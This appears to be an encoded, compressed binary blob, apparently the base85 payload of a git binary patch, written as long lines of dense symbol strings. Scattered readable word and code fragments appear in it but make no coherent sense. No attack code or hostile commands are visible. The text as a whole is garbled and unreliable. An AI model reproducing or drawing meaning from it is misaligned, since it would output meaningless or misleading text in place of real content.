zg_VU~g;xvr7w#>5Uf8Cnu5fPA@FEcXXWfe2inR#NjxI?i+ans_q#p8>I6pt%*EuLIF zs~9hyTkKsdD^?UsiZ#W93d4$Z#nHvaVy|LDaYC`FII-AVl3rpd0bIV4vXb(W`iA8t z>r2*^Y%V!ea_@`M+RBSrHTgwA1Fbi3tu@>lYfZHptR`!mHO-o3&9mlPtE}s-YptuSJFUB{C#`3!=d2g4 zkF2k)NbLvf)40#pPu4bNEz2gB^(%8Nn@~2bYV-opevXPzT$1g%ZfJ@A1mHhe5v?e(WJ6#W%tV7m2Q=NE8QyxR1T~h zR5`eEc;$%7(Uo&6=Tst<%PQeYtkSbGs{QjU%DJjTRm-X-Rn4l}S2eG4tQua`qsqOi zUzKas$f^ZZqpRjuO|SB*l2xgy^i?rcwyIZE@2Z@un^nIAx6w4I9$ekOdTVvx>fY6J zt2K)am zs*hJ6tln3Bp!!Vp)#?+~_p5JKf34=LUsu1auCMN1)1$_vMpqMCW2`aNWYlEUWY-kd zl++Z|RM)Jj`K@MO&4!xIHFE2vnkzL|Yp&JYs(DoNq~>uAS;N<9e^f-|(^KbIq5U zZ#Ca*e$>?0G_7q`yI0?-*0pwM?eyBkwRo+t)~^<{^47|0m9?tcpju6BbZtbfzP6;c zs&;wp2+y->alU`lBdk0e{5J0((vGwz9Y{ygiEKhPC7Y4XWOK3w*^+EUwkF$_xhey~#eLE9pk|CHs-?WPfr1IglJg4km|?L&;&} zaB>7Wk{m^jCdZIt$#LX(asoM#oJ3A0r;t<0Y2*hLT}qI0+g$$tY4s>d9y_h6L@2WISmgjbs9uNG6dc(o80kDP$^{ zMy8V)WF~1Lv&d{Rhs-7O$b7PZEF_D_VzPuRC9Px`Sx#1vm1GrJP1caL*NjcCV7jzP2M5zlK05_ zJ|UlyBuSAp$&f6`kvwT5pOMeW7vxLw75SQcL%t>7k?+Y5O^&>x=>xIZd7-w2i246MY&MDsXmk|FSx8>o%cCTcUah1yDOqqb8!sGZaNItRI!m3S&Qlkti_|6RGIfQzN?oI_Q#Yua)Gg{Zb%(l3-J|YP z52%OKBkD2rgnCMm6h+Y#L$MS`@sy2vMm?uqP%o)h)NASu^_F@^y{A4I1=&UACS1>KTvMYpEg&~52k(7owCv@7jK_oe&M?sR{806mZ%L=UEi&_n5A^l*9v zJ(3(evpA^g?#9x(keQT zR?`|*;7ZhK{A<=y=*d8|ef(kxrsbw3$w(Q|MGW zjZUXC=uFx|gIhA_96FcIqx0zkx{xlSi|G=&l(y1kbU9r?SJG8*?R<4fIBO6TO+TJOj%m+y zU^+6Ln9fWWrYqBp>CW_EdNREj7p6DUhjC@xn7&Lu#+~WU3}6N_gP6h05N0Sdj2X_< zH;iCLGNYK$%ot`YGmaV0OkgH5lbFfO6lN+jjhW8OU}iG2nAyx6W-c?2na?a>7BY*N z#mo|BDYJ}$8H7O@jKLWJBV-6h#CR~CjF|Caycr+Hmys}1M#jh)1>?u~GXac}Q89sx zn$a*?CWr}ULYPn{j0tBVm`Emy(J^`^nu%dznK&k%F)&6Zfk|YN7!zY=l9?1Hl}TgL znG7bAu`pRoHj~5TGI>lsQ@|85MNBbM!jv*rri>|PDws;9im7I5m|A8zvw~U4tYTI( zYnZjnI%Yld8?%Ag$bjg7+Qe*TwlG_nZOnFN2eXse#q4JGFngJO%zowobC5a29A=I% zN10>HapnYbk~zhkX3j8YnRCo}<^pq(xx`#%t}s`bYs_`#26L0S#oT7@Fn5`I%zfqo z^N@MOJZ7FSPZ^S-7@A=imf;wlu`$n>=gbQb{g=!u<~8$%dCRSW9pdi%nzoX`N=de5NpTUvkt5y>%=x;o3hPVXSO-pf^EsRVq3Fq*tTptwmsW{ z?Z|dwJF{Kbu5359JKKZp$@XGh*xqa()|GW*`?CF5ceXz}fE~yVVh6KB*rDt&b~rnN z9m$SjN3&ztvFtc@JUfA%$WCG>vs2iq>@;>dJA<9c&SGb?bJ)4;Ja#_2fL+KgVi&VZ z*rn_;7G@C^Wib|K1+0)ISP|>Nda`2Hi}hxGSYKAcN?92zXBDg;>(2(TN>;^!=zk7m z)vSiqvO#Px8^VUNVQe@X!A7!Ctd7;Q(QFJG%f_+stbsMM32Y*p#F|($o6M%LscagX z&StQgtcA^Dv)LRrm(64I*#fqZEn{fOgyPe&^?qqkdyV*VLUUnb5pFO}HWDl{2*(2;x z_85DdJ;9!2PqC-jGwfOR9DAO{a#}d!4<(-ehmFx7j=FUG^S(pMAhS zWFN7Q*(dB%mSicGW*L@cIhJQ_>@)T``+|MRzG7dqZ`il&JN7;Mf&HER$bMo!vtQV+ z>^HWK{m%Yi>)D@d0}F9>oIU5jIdV>16Rs)OjC1Cib1k@*Tq~|M*M@7$wd2}z9k`BM zC$2Nsh3m?7o5#)P7H|u>MciU; z3AdD6#=#uIp&Z8HoPZN@1SjG=I8RQ@d2!yH59iBCI4LLNpQZX36q+rjPRc5%D8J=|VyAGe=7z#Zfcafi7h+)?fr zcbq%Ho#ak&r@1rSS?(Nnp1Z(Z9$MWO&@%#jSB0q_r%unH`^3(X~{0x33KZ~Eu&*A6t^Z5Dv0)8RCh+oVv z;g|Buc$i0cl*f3S7w|%!;6=O#@5zgKFW#H?;eB}tFXd&toLBIEygwhnD|r2!E76 z#vkWT@F)3G{AvCSf0jSTpXV>|7x_#4W&R3(mA}Sc=Wp;g`CI&L{tkbazsKL_AAsmT z<{6&lIiBZj{4@SJ|AK$Xzv5r>Z}_+TJN`ZYf&ZQV$baHL^I!O{ z{5QUi|IYv5>-nF20}t8kZ1y$>o1@Li*2LD-*39N?Yi?^{YiVm`Yi(;|Yiny~Yj5jd z>uBp_>ul>{>uT#}>u&2|>uKv{bFuZd^|86y+-!Yq{cP^G{9!fRnYLNB*|s^hxwd(>`L+eN zg|0hxq|kV3?QR3OF3 zWn?DmhBhEB=zKH`osAZwAJKd0V$l8Qk5ywwuvb_oyb527AHyF4L{L*fKS6|`NU%fj zSkStzN@x-OCTtL<5n_)3k4+xuJkENwscTzT~vLBD*c?BmW?4 zC!Zi6DKC?EP^?va@{{>j`(N>g0fwlPa*EPfIb7+Y?57M+dML%p_H~iUa^-U64&_m0 zowBuR&^M*(pb8H>rm_p18+bLaLtUV{V_lh=1_&0dX1*p;lc1qBtmck(MvzZXT2N@v zgCNJ?^x)875aaKq!JC4w27e9y5d0%}QixB;fRL#nM?*3~cZYrobqZ@5HZUwTY-3oP zaK~_;@cH2j!aLO+5C0jyJ>m$!Z*;DUjyxQBKJrc^6L}-DY1F64{!xRY21N~zQbc7& z)kfLrLUm?+mA*z_sb8z_Qa3+(EAAQt$N0y@0RT+bx^8v#4c+UCV|&z9#$J!J#r3Rv z8CMhEt8Ssu$GF$H+<3=`CoD)@k?2xqm#j!mOg@|ZIeB5qt`tG4I8~e4yKY-*pE}pN zrWv0y+FK@AVlC?|M=Vb*Zgrn6f~>@>ciA7a+vn(W`qo{|?N{esr^WU1daNUgh@6gOyNKShco# zSY5Z8>os_V;ZLe>2Q9AqN6a6(!2wL9>Fnz2Iu3j~ z8b3QLAXlisRA_<#-OT{l{(g`gqD&V|!vFyeHQE2-$U)GBWC)sPnqwLT=x(&h0Wjod z{oR@a*r(yvpA$KR}ZE(^3PfV&n4vMUo2z zuh+OB@X-Bv#R9HeEFjbuk1S4Z{2l(5xBrhhjDPU=8s`km01E=owuc-5Rm=%$0yTx2 zLC#Qfs0Gv#Y6Z21+CXigc2Ik$0|drtLY<*5P*IwCNT%g|2zdC>KEc63< z4uMh#L_)_Q8}tIY06l{)L${z;&`Ib7bRIeeor69?pP&!W1Lzxc3AznEf>uJSp!?9e zJ~tr>dJX*!)j{u}>(B=10CW_(0d0Z~Lx-Rh&_?JWRNxL00H9m-bC1rroUO|9&C2^O!d$|kU)$U4nnLFwp@XSk=hXS?USC%JETcnTFc90NSClMcI~Q-BCo26$k*99-Pa02bIFkPEg$ z0dD?oefqlg{Q@m?+Xi)W+Y53-VxJw*a`)xn{a+2av=Q%g>E!0;AdPV8>@a2o?n>@0cXn&bDUHP?Tx z|Ga=d)&kX^*22Jrfs53CEc?ZpC0b}{P~);+8U%w5ML5I(+%NNM;Sr5X5ZSnV48o|! zMd<#zJfg+1Vz0Qy1^T1sHl43@Tx1{Qh#;X&St!b0Na&p6oDKG_&a>o;)JW)Gp9sy8 zJ2w6}OSFwIWUqnjYGKZoQ$`|0VWY+9C0Ri*oL(4+#@?Bke zxO8>t?$XVrmrMKhE?w-L+>jQm^gT4fXYki1EWW)a(C(MJ^cWL9`(h_oM(aWWY zy^9m%;^5-w;L^&aHDuRez;`>(0XyxWk$svVQ>Sm)+S=O}vim-=@&9jVZ~+STf1YLX zhbA@7H2GgmN`(H=?`Uk`xj-}`Tx5z4I2gx z8`h{y1O85#T$=uprU8FQ(|=W&^8V|}1lbMh3xx82P@Ddk$Mny5{C{Xu;~b?KzuecK z{8AP0Noj!JYlU*4+<)Mgs-aZirP6=-r9vq0FMcTrGC^i28A<^zs|)Z^8Biu(M)}S-}$#R=SIS5XFx(7>Nv#lAMv8Q z0Pg89Kt3JdSPT4;T?3LB?;V61m-+g@S^$4}_x{80A3uHm^7UJsWNAW3sNwjDlc!Ff zIeYH>^&2;D-M(}8-hG;3Io|f{`C`&b8XRjfC#R$~jwAi^9MZD#m8({-S-WoiZ^ty( zR{SYv{zvn={5b9(Od!l}{6ulc*2`BxwRua+|#eLVE|myaJ7A$1rt;LkQ* z3X2eY9@*r7)bQyzyDSMDu>L_pN?+CJ`V=VZ-|3M@FA7{(Cf0Hf$Gd}+H-}(4c z1O9B|8(sVWNx~_Izgl?c|JuXpneufDcGy4j@O8f&{C`)TH2m`LF3x{8@xa5^+1WKT&OQIr9P&Tr z82|Z~1e43B{ml?^FoS&QGBA%C1H;AtGHUzRr0vE*+kcs}4Q3!W&b9`lts5s>gMC)x z9^sEX{LkhN{-Jk`^9TP|@BX?+I05zud;YRVcniIOy7V~)tpj_6bD)y(5xNLn1$%^V zAnV=wOWoojRA{#r+V!h$u^!q7?S!^MSN^g`IPx!2w*b{T2eE^n+}@>gMDsDBj=$<~ zKlXi6x%+UG^(B3 zfWKBPR{U+%V#S}U7OO$kVs+Ow|8J@mzZB2mKiV4no2tdyKdKh?=>L~>i~law`{$L5 z|7gnTAF9+i?X*#q{;Pw$|JAFhoBI4$W|{n}KljsDaL!}0haF)jxCz__ZVz{Xd&7NT zSGX_SA07k`herV3&=`0eJOMC=X2P=ob!aX;A6^V&FahYOUa&W;fc;=_hzqOWKv)B7 z;UG8|6h}kh2sjGX!Fo6vj)7z0I5-|Qz(zO`PJ&Ia8BT^%;8Zvrw!q*75H5wSa5-EB zR|A64DtH6D6%dTJ!@B^(XfM1E-VYyw55q^`bMPhjDtryT0Y88r!jE7QrePko!OsEP z=nec9eh+_yzrx?(I&d=n6P%6PgVS+G#0hDFG)0;rEs&N-d!z%>5$S|5Lcux zG7uSr3`K?^!;w+Q7-SqW0i35#L8c=!keSFVWHvGvnFlyY3z0?0Vq^)j6u}W8IB%CD z3PgznA{s=C1S26xI1+*AkZ2?ZiACZNBa(!e5HperXiDkeWIh|oMe@NJeGyUu=t^Zs zIXJ7YLTZp&KCLRD}kjYE*-2(O@(L4Fx?5;b;UJ ziADhmW(*pO#-Rq(h?-C{nvABPX=pl{iCWMsG#kxD^U!>>04+p|K$k-aT8diHGPE2J zrz+7Zv>L5JYtiNC3Unp98eNNSKsTbB(Jkm!bQ`)IP^fmHyU{)9UUVP2A3fAar%FDI z9zlw~#r zeX)L+JJuf?fDOb3VS}+D*idX3HXIv)jl@P_qp>mASZo|N9+0#qVv_(-YYHH0O~a;R zv#|x(V!+gbF$4pq7ZYF}m?tL2yfI%)f=MwMCdd3Re@uy~utwrmC>DXmVF_3wmW-uf zX;?aD!LqPiK;O#$#osE%%CHL1SyF@5Vk@v!fW);9TmOs2wHe!j?ZWn9`>_L{@8l?U z96N!X#7<-9unX8_>&z#d^wu%{S}F&KyOm<@Y| zJ;z>vzLhuFd+Y=D5&QCs;pK!o1CCcqybazK?*MpSo$#Kx3*H-d#oh3}xI5ne7vF0r zJ^~+wkH*L1G}0*qz` z=Kzh&hCjof<1g@+_$&N1{sw=GzsElSKG{b=DEo|m0hF@u_z%1uw-eY490ZP_|HoO- zT+l+$QqWoe-htG1g7$(Af{uc&f*yjN0vADVfg9)$au*B`3=|9!3=s?!33nl=**;K(az&M*Nm(O9V>+<>X~7x6S-};- zRlzmE4Z%&pZNUSHnf(T(U%^dx!_E<|s_m2fBe6ZH)Pi9y5=Vi+-+7)y*J#sdo6Bw{i#g_s8T zaI*m!ZUM27SOPe4%Ltf22#ml90U-pmI8Q=McoE)!7$+eB%$-mGnp_~ECbUE-5k`a) z5kw>rMZ^+ugpo)jQi(Joo5&$@iF~4vC?ZOTQo>495S4&0x13l(tRz+utBEzlTELk5 zjo3hJBsLM70eNmKv5nY4>>~CM`-lU?A>t@;j5to5AWjlzh_l2w;sSAzxI$bdt`WD1 zyTm=>J|NURB%Tl?K@&FOIq{l!L%bv26Ca7s#8=`QQAd0yeh>|Wy~si2C~^{kcOboq zsHv#AsD-GNsI91-sJ*CzsH3QpsI#bxsGF#}sHdoxsE^21LtCbSM($FBlW5JH2o-jx_-2NjDEa+f_@_K^fL65^_lu?{Z#!l zAnWDo^YkuR|4jc}AJV_jztq3dzX6ipd;KTurGXl95rv^KOgv@^8-mj&3>(9O`@(9_V{(8ti%(9bZyFwijAkYq?Uq!@-9 z^aj{qG&l_|@Uqck@Eb@2ZD0&R183k3l0h~oh7pF5zz<9_z>#nfxF}o#E(w={ z%fRK}@^A&X5?mRs0#}2p!!_VqaBa8_unz0PF>nJ|2RDQp!HwZ2a5K0$+yZV1w}Ru~ z)^HoRE!-aN0C$8t!JXkQa95xqf(0i219yjez&+t!aBsLT+z;*#4}b^4gMgVB4=2FG z;3PO19uDh)5N?DK*aVwl3v7e!umiY?E*OQ~um|?SJ{X4sFbPvYT4aE_$if`V!vZYA z5-=APScNrs1e^+|!(-ra@OXFvJPFQ#C&T&SOn3^M1!u!k;T$*@&Vy&bGvPV#TzDS5 z5MBf?hL^xg;bri0cm=!~sEupkbwF&~0B?jhftRXV;H~gBcsslUIF7r3=(q>o2k(au zzz5;O@DcbZd>lRjpM+0=X4M(cbT|i}hcCbv;mg2#yb50j;^R$VKHi4!0Q2!4&>$bc z58+4fWB3VBAfLk__yznDeg(e;7UW0x6Z{4K3V(-x02lJVRLBB23}TxR#zPO9gn%H~#@No--q_`@ z7dfdL&?LJXdl-8g`x^Th2N{PLhXPqL3B1BJf_J!P@DkT*v>6@XJuYf=1833;oJrhB z0B zxj?5}U|eWiWL#`qZUna=#qS0Rdz^l7u89DTp31ATVM?Oo$n=AXdbN*b%Tmh68aS zD1sqw#EbY40?3>JghVKWMi?ZBu!w}nh>B>)2xKIZhKxeekd96Ua&AG%!NXA?J|` z$VKE5as{~ttk7G?ZR8Ge54n##KprDck!MH1M&&^jC?`9BHxhj z$PeV_zg*EjNIp`4gh4De!c^E4X)0nWYAR+bZYp6a1;o)Zrn07Trt+o=ri!LYrpl%& zrmChIrkbW&rrM@Drn;tjruwERQ?x0@)W8&L(wQ2X8kriKnwXlJnwgrLT9{gzTA3hI zoT-he9Z*X z(@Z(0JktWx3e!r{D$`oiI@5a72Gb_fX44MSZqpvqUhtazkm-o&B(PCWo6eZdna-Oo z05kOxkW#OiuA6R{ZkleHZiCv}UDHFLral37Y6vu3UI9Dxjp?oFz3HRr6A)Ctn7#r@ z^}8wGQ~+YTh0T%X|1woeo67)KwVb(vxf0M-tD9?@Yn$tt>jP&s+T6h05Ll~C%uUVB z%q`3<&8^IkxwW~Cxt+Paxr4d4xepLn`@j=IJ~M76%zksgOq+vd*36lCvtSm@l36ut<`L$R<}~wY^BD73^EmT(^F;F`bB1|} zImb zq}PMy!{#Hvd_4}#*OTT`=F{f0=5yxr<_qSF=1b-)=Bwsw=IiDg=9}i*<~!!Q=6mM* z<_G47=EvqI<`6JqUz^{U-vLSfqxqBhv-u0SANXeeZvJ8Z3GCQEK#(mkhe513KOA8x zVkv4VVJT@TWhrebV<~GXZ>az**-Dnm|FUIk08h4-rH-X8FlM7H(Lk7OV9{9`Tbf#$ zS(;l~Ss+WCrM0DvrJbd{rGurTrIV$zrHiGjrMsnvrKhErrMIPzrLU!*Wq@U%WhgLd z6D-3li9n}Kwxn2wTl5x##b`l*U~9G5EOv{-;#sTSef@Pv*k|o13*^+6QV#xy5?NrM& z%XCYQCD)Q?nPHh}nQfV4nQNJESzuXc0Sio71Z3PLmZg?umgSZemX(%OmerOuK+0VQ ztlSNjjh0Q8&6X{et(I+;?f<&G*lpPZ^xS=x{gwlkgO)>xR%Z@B<2G%f*M_lo7Jc-?+8UHq+FILL+gm$XJ6r#;b_aHEPaydA18VO8>p<%u>tO3pp!p_PhglP? zN!Dbm9>~71)o4YmW~&7Vzjmt&7{8d+ZS`2aR-YBO5>~%8U?r`Tm9{d#{srkI&_Nt! zO}CD=jpbdWo*6>g3Z|fgx zzO|^Wn5{Tahs)T?+RE7~*ecno0C~8kt(L8ht*)(}E!q}iYha7DfxpOX&1}tWEp3pk zwXF@fs%d9yZ|eYj;x4vswtsBhfm7Ve*4x&{*4Nh0)*qO~13?>cFp!If0=qZ?*u^P8 zE=Fu7pc`9lHk;k%vSHvd#|s)aq>Zu#ZJdp_2{y^5*hbh!0@rx7ZJaIBHpP|&bmQr^ z99y1kwr!4W9&nBq0OfeGZHaBEZJBMkZG~->ZH;ZMZG&y2ZIf*?=&x+GZMW^T?XvB* z?Xm5*9k3m=9kLy^ov@v>owl8^owr@FUA0}a-L~BUWz+k%2e!wyC$?v{=e8HNm$o;y z_qGqVPqxptFSc*C@3x<|U$#HC;&!k=b_sh)due+aU?^9#SGHHT*Ra>J*R$8R$JiU# zW9`lDE$l7r5U`b7+uPXN+S}VZ*gM)g0bjYB{U3V|dmnpWpey&c53mok53&!j$J-O^ ziS}fBid}Cv*kQZLZnj&2!ECoX?3mqcC+&M|g+GpA4+UMIB*%#ZF+Lzf^*jL$C+t=GS+P46kdAogweV2W= zeV={5{ebR)vM-4|!M{P$PM_orfAVJ4CbU=V^;%Ex==N68Zj#l6TE6&l{(FR!1?HujFMOH^g zCr4*T7vMv816p(s@TQ`dqcIi@>u9iS-Zm;r9aW&w?Qj$^K4zGH!7 zp<|I_v15s2sbiUAxnngDs@DOddV^!5W0PaEV~b;}W1C~UW2a*mkgE4M_B!@C4mb`v z4mplEjyjGxjyp~O%lfS2oa4OXg5#p&isPE&y5ol9rsJ05w&RZDuH&BLzT<)8q2rO` zF%YhwI-WT~ju(!Xj#rM?jyI0Cj(3jtjt`EHj!%xyz`p(lT*v9pP@nX`qnl@oHt0UNuWv%RyU zvy-#4vx~E~wRd%Jb#!%cbp@VxcUKQrPgfsTf7bxl zAXlO*$(8I%ap_$K7wj^+5SPhic3E6@7syAt+%B&R2hO+OMY(8K(8anq7w?i>vP*M~ zaE)}Ox<-LI+Zfka*Em;(E7LXAHQklt%5}|f&2r6l&2i0j&2!BMR`?>$>E+;=1a(=DOj!>AK~* z?YiT->$>N9;Ck$O>U!pS?h3hHxL&*7xZb(myFR!+x<0$Uy1u)9g1*Xc*B@7bD-tb& z7DJ1pCD4*+DYPtF4y}k*LaUrY4i+w7QKL8La(4#(QD{+ z^cFDK!2&sV(7Wh8^a1)1eS|(ip8<*e1^NnEE+VPVu0%&i#5a=VU4jSSW~Py)&hgDIIK0+21xInv94G* ztOwQ;>xK2k`e6OA{@5UFFi_v)v0+#emW-uf1|YyAm>B~hJIsNh7>0Q;FXqE=EP#<1 zg)tb5@t6R7co|bL71OX0*hnlDOT$L}ON<|bjm5@c6R?TcBrFq~f@NXTupA78qp_LT zY-}DjA6tkm#+G2qv6a|rY%R7P+k|b#wqRSaZP<3;%oy1OI zr?GR`MeGuG1-pt}!)^k7{x&e^?_&3```82E&_BVRVz02*7+4_p6ZRSVf_=q)U_Y_n z*dHt(E5O27gu95lsJpnk1i0WW?Jn!C;I8Pd~Vvln456>-2pe_4!T)4@0Q%MTXk#h5$;rXntPOc zw0o?391!v+x(DzTf&$!RJ&$-XLFSswdFS#$fueh(euK|hwhWjSa`0u+P0FnQZ`?33p`>Fex zJLG=he&v4ce&c@Ye&>Gg{s@%*Z|)!9^7%I?Q$~0Sdm=qxfxIG~qMl-&;+`^|a-Q;@ zik?cI%0Tk3;i>7V<*5Ti|0qwiC&tsj6YJ3d+rNpYr3dn~_Ot=Me+S_Eck*=cboKlL zy#Jn_KAygw{+>ae!JeU>Bu|QGxX0juf&7nnOdgBJ`L60h5Fdoh$c=E%N zNA@Tl)ic7A=1KRA21S5zo(Y~wpb(Jhnc~UvO!Z9jO!wq?@;tLVb36+?3qdttDQE|* z@~ri&_iXZP2K9hlp55S*d#`7oXTRrw=b-1X=a}cX=Y;2^=alEP=Zxp9=NzaBT=QJ_ z-0_qOo1^tSRs z-Z;<|ZRc(8?dG*Cgv z_2zkJdS`iOgBrqI&_tLI`UnfXi@Zy`OTEjytGuhdYrJc{>p}H-vv;d^yLX3oC+I2c z0=0xapr^RcyWe}jd&qkP)ZUMIk9$vePkK*#&w9^;+xUy#OWrG>op9ZI!+Xnn$9va% z&wC#f7$12bd!Krrd7p!-!VB+9?GK#L&;6d81& z-O$L_*w+LU8k+f<`&#;1`Qm)7eQkX0eC>T5d>wtAeO-KAegF7+_3px|` zeUE@s@Wl7j_ssVkG$mg6Uix17Ui;qo-ud49KKMTRKKs7-zWToTzWaXoe)@j-e*6CT z3Vem|2)r;Ji5J0(;>GadcnQ2DUK*4q%Hrkl@^}TjBIr?6#;f2}@oIQYycXzI)WPfG z_3$V>22?6yaUI?eZ-h6&o8isz7I;e>!dv5Q@V1~^(E-#dI^mu1E_heGJKh8DiTA>L z<9&gnFaRHjgIh;@2tE{##}n{GJPA+6Q}E%q9yj2~->StdGj74HxDB_1_Js>aLH)vm zdvPC*1Bt{yUAY1PzUK__6aKY$+u#g4nW#ck1s#y;L=B=QQH!We)FJ8;^@#d} zj%Y|UCYlgUiDpD|q6N{C01M1+ML6A0*vmA3+d)B0!J?MbHF8 z1PPYl2%ZoKk&p<57(t9A{uW5a5)(jIWHK>@$Re_dsYDKFk<0)^l3B!DVjifHEFcyV zi-{$mPO^+xPOKnS601O^WG%6dSPxny8$qjNGqIi6N$eta6MI0jWFN7gI7l2JjuOX- z6U0g46mgn3OPnVz5|@aZ#BJg(agVqUnkEm4$HWujDe;VWPK1aT#7j^)c}u(_J`f*? zPsA7E8}Xg^LHr_q6Mu*TB1{zWNB9f-BmG7ECHy7*rTnG+W&Gv*mHgHHb^LYx_54ww zhobX0^Edam@W=Vv_}lwC_&fPK`@8tN`v38F_xJYq@%Qx)@DBzDze7RQG{K+fPx2@G z^?uk77MNr7BcP??@?(Ct-{U9zet*DE0(FD|Jr&+B`X#^OSN)nl)t}}c;~(#zJ6paV=G7+?c@KnTbIC7=dI1V#o@18IR#fzg36fpI`&nH0zfWCpSV*@0<+ zyuggW%)qR`?7-Z>;=nSXw5$tk3~UN)32Y5)59|o+3hWN-3G5B*3+xXZ3LFj`37ia^ z3Y`9Hy39QnI1fyhi=ZrXC2$o~Wo`s+2kr#!1|9?+2c86;1wx=Y^AfaX-Ui+WJ^=aU zOW_PSpo+ti z9La+sjz~(ROe&;GYUBtqjT}X$lViy7QkByW*-$h+h{@(CFtUy-lLH{@IL9r^xmUuWJ2@+0|){7il& zzmeZTf#(&)L6xFPQ)Q^KR5_{w==D^hs!`Rc8dOcH z7FC<7L)E3~QT3^4Du!x6>8OTOBdRggoN7ryRBNg&)sE^wb)-5`ovAKVSE?J;o$5jL zq|}E(Z!n73fNI zWx5Jom99ot2bH6mbRD`bT@TcbqUdNkhK{9mbVIrk@RFL)O+n$P8Qq+2LARt^ff`aA zs3EnX+tTgn4s=JlGu?&mN_PW|r0#SNx+mR>?oIch`_ldB{`3HPAU%j4Ob?~w>0zLt zltd@fDfDn!Pa9~MHqr=fqRq60w$XOlK|4WV38gXGO?zlB?W1v;q!~I$vouGGv`j0s zN{^sN(dqPPdJH{|9#2o8Gw8{5CY?oR(^Ki`^bC3?J)53G&!-pA3+YAlVtNU^lwL+J zr&rJ`=~eV?l?fe{&*Q5lUH$)qwMs=}l*qnWYHIA%QPT1{j!n8{2gGlj`!rZUr*>7Zb~3w} zJU;pmmeE z#oT7@Fn5`I%zfqo^N4xOJYk+P&zTp@OXd~x8dSC3GVhrW%tz)E^O^Yq3R~Zp@5~S8 z7btQ4Ve*0Y6=n(rBZ7s4k-;LtqQT<962X$eQo+)}GQqOJa>4S!3c-rOO2Nv(D#5D3 zYQgHk8o`>uTEYBq?O>f?yhbP!ykf$o)3a$>W39b)r0`0IZ!EM3a z!9Bsf!F|9!I}kh=JO*lFCxWMfr-NsLXM-1lmx5P~g`fziFtnr4slq1;uPhV^6@{uqS;N($8b;NKsu@)$s%}&js47$fDhZW> zN<(F!vQRmwJX8&;4po3ELYoTRDD=Hh`Cu%Tu)yN~oLu_XEzJ*O z|F&HEKY3X0kSF8~`9gSz2u+Bc7&|F8BX)9ZX6%&Mtk~?>sj<^yr^n{R=Emm5&WN2E zJ1cf}?3`FGmX8%;#aJm;j#XmSSS@x$?8w;E*tFPDvFWj+W5>jfjU5*|KGq)Vh;_!g zV$oPE)*b7K^~U;Q{h>f8s&#bhnAQzi$F|nBZrHj}>&C5{v?fDT=zsFK@Mt2M4lyCH zz>@#0yqX_A_U!+Uz53tX)d=8CMuwk-i-wBO+%Mce zJRm$UJSaRkJS03c93M^y4+|%Tlfud2l<@GdK5PiXVPhBxo5JR>CHy1|7Fhbf@5cUj zH5U9r^KZMcJ)vGuZ>SH{7wQM~hXz0cp+V4KXb3bEiiZ-QVNfEJ1SLZ$&~Qi(86X%k zLI`An%#a1LLN>?_IUpzGf=~#9+>i(ILV(7E2*?iwAQGY=8e*Uz#6ldzLjoj10H=f$ zNQE?L1T+##h0>r=P&zak8Uu}m#zEtu3D87n5|jZ=hBBckP!^O8O@*dG)1hF94RIkp zB!t9}6p}+qNDXO!zky}{S@$+S{Qph9{h!p^MbKhs3A7Yi1}%qHKr5kD&}wK6v=&+i zt%o*18=+0mW@rnv71{=Ehju_apx=nixjx(D5d9zYMFN6=&F3G@_t z20e#D&wq0~@XXjCXYG&(fq?*hyJ z_tf71$?VM!|NCn1)W~U((<5^tb0hO2XGDT{P~_~$IgucM6FEO}LFB^7MZk?)8o3Op zaVsKM0yl1KXk2J~XhLXWXi_L6G&!^>a&zPspvi5E+#b0ja%beO$lZ~9BKJn_i`*Z1 z0H||^fI4?H@>t~Y$P_rB3py2aF6ds+qo7;CKLtGt zdKL68=u?mr$_;fX=vvUBpkqN?L0+g$LEC~Ep_!psq1mB1p}C=Xq4}W&e-~KspH+wR z!~gHxVK`(AAt6)99I}M0AzR2Ea)g{AR|pMZp}%@fCE(UnDN+@vJJpI*|8G{!f4MYK zMWT!R6=-6M=zw$62v{>sfZNjyXf!Q=e$%SR!qB47;?R=N($KQd^3aOV%FwFN>d>0d z+R(bt`p{pYr!}y5{u(@qMcM;9r(=;$MgF_E^Z)2NeSpu?512XwfUGkJC_6)du@etG zo(-Xmp-rL9p)H}Up>3hWSb4henZmaUSB|P0rHg78RW!O}bYAp~ z=$X;8qN~Q#k7*E-6yuKZ#2knjrc3;nP?!RQLp|^fVPF;_KsYo5>F}>>X#bag==zst z=>C^$=mVA^0gS_dj?_^)TF2;uI#xGIm#!NPbi=W_ak}xk{O|OU_FXdl_u15SUbUor`#O;W?5r2TI zmst2js87Uzh?5~l;Zvd0p);Ygp`vlc;)=(Wh$|UaDz0=~nYglX<>Jc6Rfww?S1GP? zT$Q-0an<6g$JL0d8CNT=c3hpfx^ea5>c>UJMaRX&HHeFi)5SH6YZTWwu1Vav(D~4X z(8bWD(B;sT(AChj(Dl%b(9O`T(CyHj(B06z(EZSZ(8JK9zYDC2hGL)wP%NZ_8bXbr z#!wSzN$V+Xvf9jTGq273HjCOEZF9cOr8bw_Tx$ar{54M>hoYn7T0aR@hZvLitbuR1BI2&4&gS3@R90Fr;8;L3}|%!LWkFf~10!g5d@F0z-kZ04XpPmWb)!>Wb-#>q_WK>PqQK1I@Cm zuAHtsurMp?D(NZ%5wohUnyxx1qQTv#ze5uD&ix7p;rYH2{*PPS;S^NY_}` zMAuZ;4Ct9HbS-tQbdWAi*IL&Gc$)2W?R6b=9d(^_opoJ+tJzKWkFL9}hpwltm#(+2 zkFKw-pRT`dfNr2}kZ!Op;zi*XkuQq8DEgwyg2kT^A zEXrc6oArPOwGWi236^AOmSGG1M+;!x|E>NPSYS<%Wm%5pS%DQ?k&!9nFqq$FURGN$g}clg(nY*=g)_Hiyk+XRtHbS?p|fE<2B%&n{#au}j#c>@s#a zyMkTGu4dP=>)1`~R(2b^o!!aqV)p`_d_Q}DJ;WYikFv+u^=4Y`-puEH1ntIbM^)Miha$#0j2Nv><9KE`$nPLT(Yam|Mav<(6^Fxz*enZY{Tt zThDFaHgcP|&D<7lE4Pi?&h6lKa=W-a++J=Ux1T$}9pnyihq)u%QSKOboI3#)ILVy? zMfx+`S?(Nn9+c@Xa+kO(pih5|yUyLxLW^bx8&A;=Du=2xS!lF?l<>`%jXKXLVN^YmCL)JNK*5syYbO8sB1;qCahT6o|a z*f4>g$WP)Y^O^h&adEC@~imO{5pO+zk}b+@8J*d2l+$% zasCW{mOsy5;4ku*_$&Mk{uY0mzsuj_AMg+PNBlGXCI5zh%fI8_^Pl+7{8#=P|DFHA z|Kfl1`FsIiSSTVC6N(G@;Sxegp|ns|C?}K`Dhic^%0d;PnovuqBh(e@3DH6Wp^?y7 